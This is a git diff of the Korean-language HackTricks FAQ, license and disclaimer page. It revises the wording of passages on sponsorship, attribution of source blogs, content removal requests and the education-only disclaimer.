우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 평가할 수 있는 가능성을 제공하고 싶기 때문**입니다. 따라서, 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다.
|
||||
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 감사할 수 있는 가능성을 제공하고 싶기 때문입니다**. 따라서 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다.
|
||||
|
||||
HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않을 것입니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
|
||||
HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **내 블로그 게시물을 기반으로 한 HackTricks 페이지가 있지만 참조되지 않았다면 어떻게 해야 하나요?**
|
||||
|
||||
**죄송합니다. 이런 일이 발생해서는 안 되었습니다**. HackTricks 페이지의 링크와 귀하의 블로그 링크를 Github 이슈, Twitter, Discord 등을 통해 알려주시면 **확인하고 ASAP 추가하겠습니다**.
|
||||
**죄송합니다. 이런 일이 발생해서는 안 됩니다**. GitHub 이슈, Twitter, Discord 등을 통해 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 ASAP 추가하겠습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **내 블로그의 콘텐츠가 HackTricks에 있는데 거기 있기를 원하지 않으면 어떻게 해야 하나요?**
|
||||
|
||||
HackTricks에 귀하의 페이지 링크가 있는 것은 다음과 같은 이점이 있습니다:
|
||||
HackTricks에 귀하의 페이지 링크가 있는 것은:
|
||||
|
||||
- 귀하의 **SEO**를 개선합니다.
|
||||
- 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다.
|
||||
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후로 더 많은 방문을 받았다고 언급했습니다).
|
||||
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다).
|
||||
|
||||
그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면, 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**.
|
||||
그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?**
|
||||
|
||||
우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거하거나**, **텍스트 앞에 링크를 추가하거나**, **링크를 추가하여 다시 작성하겠습니다**.
|
||||
우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거**, **텍스트 앞에 링크 추가**, 또는 **링크를 추가하여 다시 작성**하겠습니다.
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -116,7 +116,7 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한.
|
||||
|
||||
#### 추가 조건:
|
||||
|
||||
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
|
||||
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
|
||||
- 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
|
||||
|
||||
#### 면제:
|
||||
@ -125,18 +125,18 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한.
|
||||
|
||||
이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다.
|
||||
|
||||
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수하는 데 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
|
||||
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수할 것에 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
|
||||
|
||||
## **면책 조항**
|
||||
|
||||
> [!CAUTION]
|
||||
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
|
||||
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
|
||||
>
|
||||
> 저자와 출판사는 데이터 손실이나 이익 손실로 인해 발생하는 모든 손실이나 손해에 대해 어떠한 경우에도 책임을 지지 않습니다.
|
||||
> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실 또는 손해에 대해 어떠한 경우에도 책임을 지지 않습니다.
|
||||
>
|
||||
> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
|
||||
> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
|
||||
>
|
||||
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
>
|
||||
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다.
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user